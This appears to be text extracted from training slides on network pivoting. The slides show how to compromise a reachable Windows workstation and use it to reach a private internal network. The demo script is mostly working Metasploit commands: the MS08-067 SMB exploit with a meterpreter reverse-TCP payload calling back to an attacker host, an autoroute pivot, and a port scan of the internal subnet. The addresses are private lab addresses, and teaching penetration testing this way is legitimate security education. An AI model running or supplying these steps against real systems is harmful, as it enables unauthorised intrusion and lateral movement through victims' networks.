Background

• Problem: Most of the fun machines are in a private corporate network
• Solution: Own the machine you can talk to and coerce into owning its friends
Pivoting Illustrated

• Network Structure:
Pivoting Illustrated

- We can’t access servers!

![Diagram showing firewall and access issues]
Pivoting Illustrated

• First, own that workstation
Pivoting Illustrated

• First, own that workstation
Pivoting Illustrated

- Now it forwards traffic for us
Pivoting Illustrated

- Now it forwards traffic for us.
Demo Script – Initial Access

• First, own the accessible workstation:
  use exploit/windows/smb/ms08_067_netapi
  set RHOST 192.168.124.128
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST 192.168.124.129
  exploit

• Once in, check out what NICs are available with ipconfig
Demo Script – Adding Pivot Entry

• Now add the route:
  run autoroute –s 192.168.123.0 –n 255.255.255.0

• Run a quick scan:
  use auxiliary/scanner/portscan/tcp
  set RHOSTS 192.168.123.0/24
  set PORTS 139,445
  set THREADS 50
  run

• We’re in!